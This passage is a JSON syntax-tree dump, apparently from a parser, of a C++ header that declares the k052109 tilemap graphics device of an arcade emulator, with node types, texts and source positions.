"preproc_arg", "text": "devcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb);", "parent": 73, "children": [], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 78}}, {"id": 79, "type": "ERROR", "text": "class k052109_device : public device_t, public device_gfx_interface", "parent": 0, "children": [80, 81, 83], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 67}}, {"id": 80, "type": "identifier", "text": "k052109_device", "parent": 79, "children": [], "start_point": {"row": 25, "column": 6}, "end_point": {"row": 25, "column": 20}}, {"id": 81, "type": "ERROR", "text": ": public device_t", "parent": 79, "children": [82], "start_point": {"row": 25, "column": 21}, "end_point": {"row": 25, "column": 38}}, {"id": 82, "type": "identifier", "text": "device_t", "parent": 81, "children": [], "start_point": {"row": 25, "column": 30}, "end_point": {"row": 25, "column": 38}}, {"id": 83, "type": "identifier", "text": "device_gfx_interface", "parent": 79, "children": [], "start_point": {"row": 25, "column": 47}, "end_point": {"row": 25, "column": 67}}, {"id": 84, "type": "declaration", "text": "static const gfx_layout charlayout;", "parent": 0, "children": [85, 86], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 36}}, {"id": 85, "type": "type_identifier", "text": "gfx_layout", "parent": 84, "children": [], "start_point": {"row": 27, "column": 14}, "end_point": {"row": 27, "column": 24}}, {"id": 86, "type": "identifier", "text": "charlayout", "parent": 84, "children": [], "start_point": {"row": 27, "column": 25}, "end_point": {"row": 27, "column": 35}}, {"id": 87, "type": "declaration", "text": "static const gfx_layout charlayout_ram;", "parent": 0, "children": [88, 89], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 40}}, {"id": 88, "type": "type_identifier", "text": "gfx_layout", "parent": 87, "children": [], "start_point": {"row": 28, "column": 14}, "end_point": {"row": 28, "column": 24}}, {"id": 89, "type": "identifier", "text": "charlayout_ram", "parent": 87, "children": [], "start_point": {"row": 28, "column": 25}, "end_point": {"row": 28, "column": 39}}, {"id": 90, "type": "call_expression", "text": "DECLARE_GFXDECODE_MEMBER(gfxinfo)", "parent": 0, "children": [91, 92], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 34}}, {"id": 91, "type": "identifier", "text": "DECLARE_GFXDECODE_MEMBER", "parent": 90, "children": [], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 25}}, {"id": 92, "type": "argument_list", "text": "(gfxinfo)", "parent": 90, "children": [93], "start_point": {"row": 29, "column": 25}, "end_point": {"row": 29, "column": 34}}, {"id": 93, "type": "identifier", "text": "gfxinfo", "parent": 92, "children": [], "start_point": {"row": 29, "column": 26}, "end_point": {"row": 29, "column": 33}}, {"id": 94, "type": "call_expression", "text": "DECLARE_GFXDECODE_MEMBER(gfxinfo_ram)", "parent": 0, "children": [95, 96], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 38}}, {"id": 95, "type": "identifier", "text": "DECLARE_GFXDECODE_MEMBER", "parent": 94, "children": [], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 25}}, {"id": 96, "type": "argument_list", "text": "(gfxinfo_ram)", "parent": 94, "children": [97], "start_point": {"row": 30, "column": 25}, "end_point": {"row": 30, "column": 38}}, {"id": 97, "type": "identifier", "text": "gfxinfo_ram", "parent": 96, "children": [], "start_point": {"row": 30, "column": 26}, "end_point": {"row": 30, "column": 37}}, {"id": 98, "type": "labeled_statement", "text": "public:\n\tk052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);", "parent": 0, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 97}}, {"id": 99, "type": "comma_expression", "text": "k052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t", "parent": 98, "children": [100, 106], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 89}}, {"id": 100, "type": "binary_expression", "text": "k052109_device(const machine_config &mconfig", "parent": 99, "children": [101, 102, 105], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 45}}, {"id": 101, "type": "identifier", "text": "k052109_device", "parent": 100, "children": [], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 15}}, {"id": 102, "type": "ERROR", "text": "(const machine_config", "parent": 100, "children": [103], "start_point": {"row": 33, "column": 15}, "end_point": {"row": 33, "column": 36}}, {"id": 103, "type": "type_descriptor", "text": "const machine_config", "parent": 102, "children": [104], "start_point": {"row": 33, "column": 16}, "end_point": {"row": 33, "column": 36}}, {"id": 104, "type": "type_identifier", "text": "machine_config", "parent": 103, "children": [], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 36}}, {"id": 105, "type": "identifier", "text": "mconfig", "parent": 100, "children": [], "start_point": {"row": 33, "column": 38}, "end_point": {"row": 33, "column": 45}}, {"id": 106, "type": "comma_expression", "text": "const char *tag, device_t *owner, uint32_t", "parent": 99, "children": [107, 112], "start_point": {"row": 33, "column": 47}, "end_point": {"row": 33, "column": 89}}, {"id": 107, "type": "binary_expression", "text": "const char *tag", "parent": 106, "children": [108, 110, 111], "start_point": {"row": 33, "column": 47}, "end_point": {"row": 33, "column": 62}}, {"id": 108, "type": "ERROR", "text": "char", "parent": 107, "children": [109], "start_point": {"row": 33, "column": 53}, "end_point": {"row": 33, "column": 57}}, {"id": 109, "type": "identifier", "text": "char", "parent": 108, "children": [], "start_point": {"row": 33, "column": 53}, "end_point": {"row": 33, "column": 57}}, {"id": 110, "type": "*", "text": "*", "parent": 107, "children": [], "start_point": {"row": 33, "column": 58}, "end_point": {"row": 33, "column": 59}}, {"id": 111, "type": "identifier", "text": "tag", "parent": 107, "children": [], "start_point": {"row": 33, "column": 59}, "end_point": {"row": 33, "column": 62}}, {"id": 112, "type": "comma_expression", "text": "device_t *owner, uint32_t", "parent": 106, "children": [113, 117], "start_point": {"row": 33, "column": 64}, "end_point": {"row": 33, "column": 89}}, {"id": 113, "type": "binary_expression", "text": "device_t *owner", "parent": 112, "children": [114, 115, 116], "start_point": {"row": 33, "column": 64}, "end_point": {"row": 33, "column": 79}}, {"id": 114, "type": "identifier", "text": "device_t", "parent": 113, "children": [], "start_point": {"row": 33, "column": 64}, "end_point": {"row": 33, "column": 72}}, {"id": 115, "type": "*", "text": "*", "parent": 113, "children": [], "start_point": {"row": 33, "column": 73}, "end_point": {"row": 33, "column": 74}}, {"id": 116, "type": "identifier", "text": "owner", "parent": 113, "children": [], "start_point": {"row": 33, "column": 74}, "end_point": {"row": 33, "column": 79}}, {"id": 117, "type": "identifier", "text": "uint32_t", "parent": 112, "children": [], "start_point": {"row": 33, "column": 81}, "end_point": {"row": 33, "column": 89}}, {"id": 118, "type": "ERROR", "text": "clock)", "parent": 98, "children": [119], "start_point": {"row": 33, "column": 90}, "end_point": {"row": 33, "column": 96}}, {"id": 119, "type": "identifier", "text": "clock", "parent": 118, "children": [], "start_point": {"row": 33, "column": 90}, "end_point": {"row": 33, "column": 95}}, {"id": 120, "type": "unary_expression", "text": "~k052109_device()", "parent": 0, "children": [121, 122], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 18}}, {"id": 121, "type": "~", "text": "~", "parent": 120, "children": [], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 2}}, {"id": 122, "type": "call_expression", "text": "k052109_device()", "parent": 120, "children": [123, 124], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 34, "column": 18}}, {"id": 123, "type": "identifier", "text": "k052109_device", "parent": 122, "children": [], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 34, "column": 16}}, {"id": 124, "type": "argument_list", "text": "()", "parent": 122, "children": [], "start_point": {"row": 34, "column": 16}, "end_point": {"row": 34, "column": 18}}, {"id": 125, "type": "binary_expression", "text": "template <class Object> devcb_base &set_irq_handler(Object &&cb)", "parent": 0, "children": [126, 133], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 65}}, {"id": 126, "type": "binary_expression", "text": "template <class Object> devcb_base", "parent": 125, "children": [127, 131, 132], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 35}}, {"id": 127, "type": "binary_expression", "text": "template <class Object", "parent": 126, "children": [128, 129, 130], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 23}}, {"id": 128, "type": "identifier", "text": "template", "parent": 127, "children": [], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 9}}, {"id": 129, "type": "<", "text": "<", "parent": 127, "children": [], "start_point": {"row": 36, "column": 10}, "end_point": {"row": 36, "column": 11}}, {"id": 130, "type": "identifier", "text": "Object", "parent": 127, "children": [], "start_point": {"row": 36, "column": 17}, "end_point": {"row": 36, "column": 23}}, {"id": 131, "type": ">", "text": ">", "parent": 126, "children": [], "start_point": {"row": 36, "column": 23}, "end_point": {"row": 36, "column": 24}}, {"id": 132, "type": "identifier", "text": "devcb_base", "parent": 126, "children": [], "start_point": {"row": 36, "column": 25}, "end_point": {"row": 36, "column": 35}}, {"id": 133, "type": "call_expression", "text": "set_irq_handler(Object &&cb)", "parent": 125, "children": [134, 135], "start_point": {"row": 36, "column": 37}, "end_point": {"row": 36, "column": 65}}, {"id": 134, "type": "identifier", "text": "set_irq_handler", "parent": 133, "children": [], "start_point": {"row": 36, "column": 37}, "end_point": {"row": 36, "column": 52}}, {"id": 135, "type": "argument_list", "text": "(Object &&cb)", "parent": 133, "children": [136], "start_point": {"row": 36, "column": 52}, "end_point": {"row": 36, "column": 65}}, {"id": 136, "type": "binary_expression", "text": "Object &&cb", "parent": 135, "children": [137, 138, 139], "start_point": {"row": 36, "column": 53}, "end_point": {"row": 36, "column": 64}}, {"id": 137, "type": "identifier", "text": "Object", "parent": 136, "children": [], "start_point": {"row": 36, "column": 53}, "end_point": {"row": 36, "column": 59}}, {"id": 138, "type": "&&", "text": "&&", "parent": 136, "children": [], "start_point": {"row": 36, "column": 60}, "end_point": {"row": 36, "column": 62}}, {"id": 139, "type": "identifier", "text": "cb", "parent": 136, "children": [], "start_point": {"row": 36, "column": 62}, "end_point": {"row": 36, "column": 64}}, {"id": 140, "type": "return_statement", "text": "return m_irq_handler.set_callback(std::forward<Object>(cb));", "parent": 0, "children": [141], "start_point": {"row": 37, "column": 3}, "end_point": {"row": 37, "column": 63}}, {"id": 141, "type": "call_expression", "text": "m_irq_handler.set_callback(std::forward<Object>(cb))", "parent": 140, "children": [142, 145], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 62}}, {"id": 142, "type": "field_expression", "text": "m_irq_handler.set_callback", "parent": 141, "children": [143, 144], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 36}}, {"id": 143, "type": "identifier", "text": "m_irq_handler", "parent": 142, "children": [], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 23}}, {"id": 144, "type": "field_identifier", "text": "set_callback", "parent": 142, "children": [], "start_point": {"row": 37, "column": 24}, "end_point": {"row": 37, "column": 36}}, {"id": 145, "type": "argument_list", "text": "(std::forward<Object>(cb))", "parent": 141, "children": [146, 148], "start_point": {"row": 37, "column": 36}, "end_point": {"row": 37, "column": 62}}, {"id": 146, "type": "ERROR", "text": "std::", "parent": 145, "children": [147], "start_point": {"row": 37, "column": 37}, "end_point": {"row": 37, "column": 42}}, {"id": 147, "type": "identifier", "text": "std", "parent": 146, "children": [], "start_point": {"row": 37, "column": 37}, "end_point": {"row": 37, "column": 40}}, {"id": 148, "type": "binary_expression", "text": "forward<Object>(cb)", "parent": 145, "children": [149, 153, 154], "start_point": {"row": 37, "column": 42}, "end_point": {"row": 37, "column": 61}}, {"id": 149, "type": "binary_expression", "text": "forward<Object", "parent": 148, "children": [150, 151, 152], "start_point": {"row": 37, "column": 42}, "end_point": {"row": 37, "column": 56}}, {"id": 150, "type": "identifier", "text": "forward", "parent": 149, "children": [], "start_point": {"row": 37, "column": 42}, "end_point": {"row": 37, "column": 49}}, {"id": 151, "type": "<", "text": "<", "parent": 149, "children": [], "start_point": {"row": 37, "column": 49}, "end_point": {"row": 37, "column": 50}}, {"id": 152, "type": "identifier", "text": "Object", "parent": 149, "children": [], "start_point": {"row": 37, "column": 50}, "end_point": {"row": 37, "column": 56}}, {"id": 153, "type": ">", "text": ">", "parent": 148, "children": [], "start_point": {"row": 37, "column": 56}, "end_point": {"row": 37, "column": 57}}, {"id": 154, "type": "parenthesized_expression", "text": "(cb)", "parent": 148, "children": [155], "start_point": {"row": 37, "column": 57}, "end_point": {"row": 37, "column": 61}}, {"id": 155, "type": "identifier", "text": "cb", "parent": 154, "children": [], "start_point": {"row": 37, "column": 58}, "end_point": {"row": 37, "column": 60}}, {"id": 156, "type": "function_definition", "text": "void set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; }", "parent": 0, "children": [157, 158], "start_point": {"row": 39, "column": 1}, "end_point": {"row": 39, "column": 85}}, {"id": 157, "type": "primitive_type", "text": "void", "parent": 156, "children": [], "start_point": {"row": 39, "column": 1}, "end_point": {"row": 39, "column": 5}}, {"id": 158, "type": "function_declarator", "text": "set_k052109_callback(k052109_cb_delegate callback)", "parent": 156, "children": [159, 160], "start_point": {"row": 39, "column": 6}, "end_point": {"row": 39, "column": 56}}, {"id": 159, "type": "identifier", "text": "set_k052109_callback", "parent": 158, "children": [], "start_point": {"row": 39, "column": 6}, "end_point": {"row": 39, "column": 26}}, {"id": 160, "type": "parameter_list", "text": "(k052109_cb_delegate callback)", "parent": 158, "children": [161], "start_point": {"row": 39, "column": 26}, "end_point": {"row": 39, "column": 56}}, {"id": 161, "type": "parameter_declaration", "text": "k052109_cb_delegate callback", "parent": 160, "children": [162, 163], "start_point": {"row": 39, "column": 27}, "end_point": {"row": 39, "column": 55}}, {"id": 162, "type": "type_identifier", "text": "k052109_cb_delegate", "parent": 161, "children": [], "start_point": {"row": 39, "column": 27}, "end_point": {"row": 39, "column": 46}}, {"id": 163, "type": "identifier", "text": "callback", "parent": 161, "children": [], "start_point": {"row": 39, "column": 47}, "end_point": {"row": 39, "column": 55}}, {"id": 164, "type": "assignment_expression", "text": "m_k052109_cb = callback", "parent": 156, "children": [165, 166, 167], "start_point": {"row": 39, "column": 59}, "end_point": {"row": 39, "column": 82}}, {"id": 165, "type": "identifier", "text": "m_k052109_cb", "parent": 164, "children": [], "start_point": {"row": 39, "column": 59}, "end_point": {"row": 39, "column": 71}}, {"id": 166, "type": "=", "text": "=", "parent": 164, "children": [], "start_point": {"row": 39, "column": 72}, "end_point": {"row": 39, "column": 73}}, {"id": 167, "type": "identifier", "text": "callback", "parent": 164, "children": [], "start_point": {"row": 39, "column": 74}, "end_point": {"row": 39, "column": 82}}, {"id": 168, "type": "declaration", "text": "void set_ram(bool ram);", "parent": 0, "children": [169, 170], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 24}}, {"id": 169, "type": "primitive_type", "text": "void", "parent": 168, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 5}}, {"id": 170, "type": "function_declarator", "text": "set_ram(bool ram)", "parent": 168, "children": [171, 172], "start_point": {"row": 40, "column": 6}, "end_point": {"row": 40, "column": 23}}, {"id": 171, "type": "identifier", "text": "set_ram", "parent": 170, "children": [], "start_point": {"row": 40, "column": 6}, "end_point": {"row": 40, "column": 13}}, {"id": 172, "type": "parameter_list", "text": "(bool ram)", "parent": 170, "children": [173], "start_point": {"row": 40, "column": 13}, "end_point": {"row": 40, "column": 23}}, {"id": 173, "type": "parameter_declaration", "text": "bool ram", "parent": 172, "children": [174, 175], "start_point": {"row": 40, "column": 14}, "end_point": {"row": 40, "column": 22}}, {"id": 174, "type": "primitive_type", "text": "bool", "parent": 173, "children": [], "start_point": {"row": 40, "column": 14}, "end_point": {"row": 40, "column": 18}}, {"id": 175, "type": "identifier", "text": "ram", "parent": 173, "children": [], "start_point": {"row": 40, "column": 19}, "end_point": {"row": 40, "column": 22}}, {"id": 176, "type": "function_definition", "text": "void set_screen_tag(const char *tag) { m_screen.set_tag(tag); }", "parent": 0, "children": [177, 178], "start_point": {"row": 41, "column": 1}, "end_point": {"row": 41, "column": 64}}, {"id": 177, "type": "primitive_type", "text": "void", "parent": 176, "children": [], "start_point": {"row": 41, "column": 1}, "end_point": {"row": 41, "column": 5}}, {"id": 178, "type": "function_declarator", "text": "set_screen_tag(const char *tag)", "parent": 176, "children": [179, 180], "start_point": {"row": 41, "column": 6}, "end_point": {"row": 41, "column": 37}}, {"id": 179, "type": "identifier", "text": "set_screen_tag", "parent": 178, "children": [], "start_point": {"row": 41, "column": 6}, "end_point": {"row": 41, "column": 20}}, {"id": 180, "type": "parameter_list", "text": "(const char *tag)", "parent": 178, "children": [181], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 37}}, {"id": 181, "type": "parameter_declaration", "text": "const char *tag", "parent": 180, "children": [182, 183], "start_point": {"row": 41, "column": 21}, "end_point": {"row": 41, "column": 36}}, {"id": 182, "type": "primitive_type", "text": "char", "parent": 181, "children": [], "start_point": {"row": 41, "column": 27}, "end_point": {"row": 41, "column": 31}}, {"id": 183, "type": "pointer_declarator", "text": "*tag", "parent": 181, "children": [184, 185], "start_point": {"row": 41, "column": 32}, "end_point": {"row": 41, "column": 36}}, {"id": 184, "type": "*", "text": "*", "parent": 183, "children": [], "start_point": {"row": 41, "column": 32}, "end_point": {"row": 41, "column": 33}}, {"id": 185, "type": "identifier", "text": "tag", "parent": 183, "children": [], "start_point": {"row": 41, "column": 33}, "end_point": {"row": 41, "column": 36}}, {"id": 186, "type": "call_expression", "text": "m_screen.set_tag(tag)", "parent": 176, "children": [187, 190], "start_point": {"row": 41, "column": 40}, "end_point": {"row": 41, "column": 61}}, {"id": 187, "type": "field_expression", "text": "m_screen.set_tag", "parent": 186, "children": [188, 189], "start_point": {"row": 41, "column": 40}, "end_point": {"row": 41, "column": 56}}, {"id": 188, "type": "identifier", "text": "m_screen", "parent": 187, "children": [], "start_point": {"row": 41, "column": 40}, "end_point": {"row": 41, "column": 48}}, {"id": 189, "type": "field_identifier", "text": "set_tag", "parent": 187, "children": [], "start_point": {"row": 41, "column": 49}, "end_point": {"row": 41, "column": 56}}, {"id": 190, "type": "argument_list", "text": "(tag)", "parent": 186, "children": [191], "start_point": {"row": 41, "column": 56}, "end_point": {"row": 41, "column": 61}}, {"id": 191, "type": "identifier", "text": "tag", "parent": 190, "children": [], "start_point": {"row": 41, "column": 57}, "end_point": {"row": 41, "column": 60}}, {"id": 192, "type": "call_expression", "text": "DECLARE_READ8_MEMBER( read )", "parent": 0, "children": [193, 194], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 29}}, {"id": 193, "type": "identifier", "text": "DECLARE_READ8_MEMBER", "parent": 192, "children": [], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 21}}, {"id": 194, "type": "argument_list", "text": "( read )", "parent": 192, "children": [195], "start_point": {"row": 58, "column": 21}, "end_point": {"row": 58, "column": 29}}, {"id": 195, "type": "identifier", "text": "read", "parent": 194, "children": [], "start_point": {"row": 58, "column": 23}, "end_point": {"row": 58, "column": 27}}, {"id": 196, "type": "call_expression", "text": "DECLARE_WRITE8_MEMBER( write )", "parent": 0, "children": [197, 198], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 31}}, {"id": 197, "type": "identifier", "text": "DECLARE_WRITE8_MEMBER", "parent": 196, "children": [], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 22}}, {"id": 198, "type": "argument_list", "text": "( write )", "parent": 196, "children": [199], "start_point": {"row": 59, "column": 22}, "end_point": {"row": 59, "column": 31}}, {"id": 199, "type": "identifier", "text": "write", "parent": 198, "children": [], "start_point": {"row": 59, "column": 24}, "end_point": {"row": 59, "column": 29}}, {"id": 200, "type": "call_expression", "text": "DECLARE_READ16_MEMBER( word_r )", "parent": 0, "children": [201, 202], "start_point": {"row": 60, "column": 1}, "end_point": {"row": 60, "column": 32}}, {"id": 201, "type": "identifier", "text": "DECLARE_READ16_MEMBER", "parent": 200, "children": [], "start_point": {"row": 60, "column": 1}, "end_point": {"row": 60, "column": 22}}, {"id": 202, "type": "argument_list", "text": "( word_r )", "parent": 200, "children": [203], "start_point": {"row": 60, "column": 22}, "end_point": {"row": 60, "column": 32}}, {"id": 203, "type": "identifier", "text": "word_r", "parent": 202, "children": [], "start_point": {"row": 60, "column": 24}, "end_point": {"row": 60, "column": 30}}, {"id": 204, "type": "call_expression", "text": "DECLARE_WRITE16_MEMBER( word_w )", "parent": 0, "children": [205, 206], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 33}}, {"id": 205, "type": "identifier", "text": "DECLARE_WRITE16_MEMBER", "parent": 204, "children": [], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 23}}, {"id": 206, "type": "argument_list", "text": "( word_w )", "parent": 204, "children": [207], "start_point": {"row": 61, "column": 23}, "end_point": {"row": 61, "column": 33}}, {"id": 207, "type": "identifier", "text": "word_w", "parent": 206, "children": [], "start_point": {"row": 61, "column": 25}, "end_point": {"row": 61, "column": 31}}, {"id": 208, "type": "call_expression", "text": "DECLARE_READ16_MEMBER( lsb_r )", "parent": 0, "children": [209, 210], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 31}}, {"id": 209, "type": "identifier", "text": "DECLARE_READ16_MEMBER", "parent": 208, "children": [], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 22}}, {"id": 210, "type": "argument_list", "text": "( lsb_r )", "parent": 208, "children": [211], "start_point": {"row": 62, "column": 22}, "end_point": {"row": 62, "column": 31}}, {"id": 211, "type": "identifier", "text": "lsb_r", "parent": 210, "children": [], "start_point": {"row": 62, "column": 24}, "end_point": {"row": 62, "column": 29}}, {"id": 212, "type": "call_expression", "text": "DECLARE_WRITE16_MEMBER( lsb_w )", "parent": 0, "children": [213, 214], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 32}}, {"id": 213, "type": "identifier", "text": "DECLARE_WRITE16_MEMBER", "parent": 212, "children": [], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 23}}, {"id": 214, "type": "argument_list", "text": "( lsb_w )", "parent": 212, "children": [215], "start_point": {"row": 63, "column": 23}, "end_point": {"row": 63, "column": 32}}, {"id": 215, "type": "identifier", "text": "lsb_w", "parent": 214, "children": [], "start_point": {"row": 63, "column": 25}, "end_point": {"row": 63, "column": 30}}, {"id": 216, "type": "declaration", "text": "void set_rmrd_line(int state);", "parent": 0, "children": [217, 218], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 31}}, {"id": 217, "type": "primitive_type", "text": "void", "parent": 216, "children": [], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 5}}, {"id": 218, "type": "function_declarator", "text": "set_rmrd_line(int state)", "parent": 216, "children": [219, 220], "start_point": {"row": 65, "column": 6}, "end_point": {"row": 65, "column": 30}}, {"id": 219, "type": "identifier", "text": "set_rmrd_line", "parent": 218, "children": [], "start_point": {"row": 65, "column": 6}, "end_point": {"row": 65, "column": 19}}, {"id": 220, "type": "parameter_list", "text": "(int state)", "parent": 218, "children": [221], "start_point": {"row": 65, "column": 19}, "end_point": {"row": 65, "column": 30}}, {"id": 221, "type": "parameter_declaration", "text": "int state", "parent": 220, "children": [222, 223], "start_point": {"row": 65, "column": 20}, "end_point": {"row": 65, "column": 29}}, {"id": 222, "type": "primitive_type", "text": "int", "parent": 221, "children": [], "start_point": {"row": 65, "column": 20}, "end_point": {"row": 65, "column": 23}}, {"id": 223, "type": "identifier", "text": "state", "parent": 221, "children": [], "start_point": {"row": 65, "column": 24}, "end_point": {"row": 65, "column": 29}}, {"id": 224, "type": "declaration", "text": "int get_rmrd_line();", "parent": 0, "children": [225, 226], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 66, "column": 21}}, {"id": 225, "type": "primitive_type", "text": "int", "parent": 224, "children": [], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 66, "column": 4}}, {"id": 226, "type": "function_declarator", "text": "get_rmrd_line()", "parent": 224, "children": [227, 228], "start_point": {"row": 66, "column": 5}, "end_point": {"row": 66, "column": 20}}, {"id": 227, "type": "identifier", "text": "get_rmrd_line", "parent": 226, "children": [], "start_point": {"row": 66, "column": 5}, "end_point": {"row": 66, "column": 18}}, {"id": 228, "type": "parameter_list", "text": "()", "parent": 226, "children": [], "start_point": {"row": 66, "column": 18}, "end_point": {"row": 66, "column": 20}}, {"id": 229, "type": "declaration", "text": "void tilemap_update();", "parent": 0, "children": [230, 231], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 23}}, {"id": 230, "type": "primitive_type", "text": "void", "parent": 229, "children": [], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 5}}, {"id": 231, "type": "function_declarator", "text": "tilemap_update()", "parent": 229, "children": [232, 233], "start_point": {"row": 67, "column": 6}, "end_point": {"row": 67, "column": 22}}, {"id": 232, "type": "identifier", "text": "tilemap_update", "parent": 231, "children": [], "start_point": {"row": 67, "column": 6}, "end_point": {"row": 67, "column": 20}}, {"id": 233, "type": "parameter_list", "text": "()", "parent": 231, "children": [], "start_point": {"row": 67, "column": 20}, "end_point": {"row": 67, "column": 22}}, {"id": 234, "type": "declaration", "text": "int is_irq_enabled();", "parent": 0, "children": [235, 236], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 22}}, {"id": 235, "type": "primitive_type", "text": "int", "parent": 234, "children": [], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 4}}, {"id": 236, "type": "function_declarator", "text": "is_irq_enabled()", "parent": 234, "children": [237, 238], "start_point": {"row": 68, "column": 5}, "end_point": {"row": 68, "column": 21}}, {"id": 237, "type": "identifier", "text": "is_irq_enabled", "parent": 236, "children": [], "start_point": {"row": 68, "column": 5}, "end_point": {"row": 68, "column": 19}}, {"id": 238, "type": "parameter_list", "text": "()", "parent": 236, "children": [], "start_point": {"row": 68, "column": 19}, "end_point": {"row": 68, "column": 21}}, {"id": 239, "type": "declaration", "text": "void tilemap_mark_dirty(int tmap_num);", "parent": 0, "children": [240, 241], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 39}}, {"id": 240, "type": "primitive_type", "text": "void", "parent": 239, "children": [], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 5}}, {"id": 241, "type": "function_declarator", "text": "tilemap_mark_dirty(int tmap_num)", "parent": 239, "children": [242, 243], "start_point": {"row": 69, "column": 6}, "end_point": {"row": 69, "column": 38}}, {"id": 242, "type": "identifier", "text": "tilemap_mark_dirty", "parent": 241, "children": [], "start_point": {"row": 69, "column": 6}, "end_point": {"row": 69, "column": 24}}, {"id": 243, "type": "parameter_list", "text": "(int tmap_num)", "parent": 241, "children": [244], "start_point": {"row": 69, "column": 24}, "end_point": {"row": 69, "column": 38}}, {"id": 244, "type": "parameter_declaration", "text": "int tmap_num", "parent": 243, "children": [245, 246], "start_point": {"row": 69, "column": 25}, "end_point": {"row": 69, "column": 37}}, {"id": 245, "type": "primitive_type", "text": "int", "parent": 244, "children": [], "start_point": {"row": 69, "column": 25}, "end_point": {"row": 69, "column": 28}}, {"id": 246, "type": "identifier", "text": "tmap_num", "parent": 244, "children": [], "start_point": {"row": 69, "column": 29}, "end_point": {"row": 69, "column": 37}}, {"id": 247, "type": "declaration", "text": "void tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority);", "parent": 0, "children": [248, 249], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 70, "column": 139}}, {"id": 248, "type": "primitive_type", "text": "void", "parent": 247, "children": [], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 70, "column": 5}}, {"id": 249, "type": "function_declarator", "text": "tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority)", "parent": 247, "children": [250, 251], "start_point": {"row": 70, "column": 6}, "end_point": {"row": 70, "column": 138}}, {"id": 250, "type": "identifier", "text": "tilemap_draw", "parent": 249, "children": [], "start_point": {"row": 70, "column": 6}, "end_point": {"row": 70, "column": 18}}, {"id": 251, "type": "parameter_list", "text": "(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority)", "parent": 249, "children": [252, 255, 258, 261, 264, 267], "start_point": {"row": 70, "column": 18}, "end_point": {"row": 70, "column": 138}}, {"id": 252, "type": "parameter_declaration", "text": "screen_device &screen", "parent": 251, "children": [253, 254], "start_point": {"row": 70, "column": 19}, "end_point": {"row": 70, "column": 40}}, {"id": 253, "type": "type_identifier", "text": "screen_device", "parent": 252, "children": [], "start_point": {"row": 70, "column": 19}, "end_point": {"row": 70, "column": 32}}, {"id": 254, "type": "identifier", "text": "screen", "parent": 252, "children": [], "start_point": {"row": 70, "column": 34}, "end_point": {"row": 70, "column": 40}}, {"id": 255, "type": "parameter_declaration", "text": "bitmap_ind16 &bitmap", "parent": 251, "children": [256, 257], "start_point": {"row": 70, "column": 42}, "end_point": {"row": 70, "column": 62}}, {"id": 256, "type": "type_identifier", "text": "bitmap_ind16", "parent": 255, "children": [], "start_point": {"row": 70, "column": 42}, "end_point": {"row": 70, "column": 54}}, {"id": 257, "type": "identifier", "text": "bitmap", "parent": 255, "children": [], "start_point": {"row": 70, "column": 56}, "end_point": {"row": 70, "column": 62}}, {"id": 258, "type": "parameter_declaration", "text": "const rectangle &cliprect", "parent": 251, "children": [259, 260], "start_point": {"row": 70, "column": 64}, "end_point": {"row": 70, "column": 89}}, {"id": 259, "type": "type_identifier", 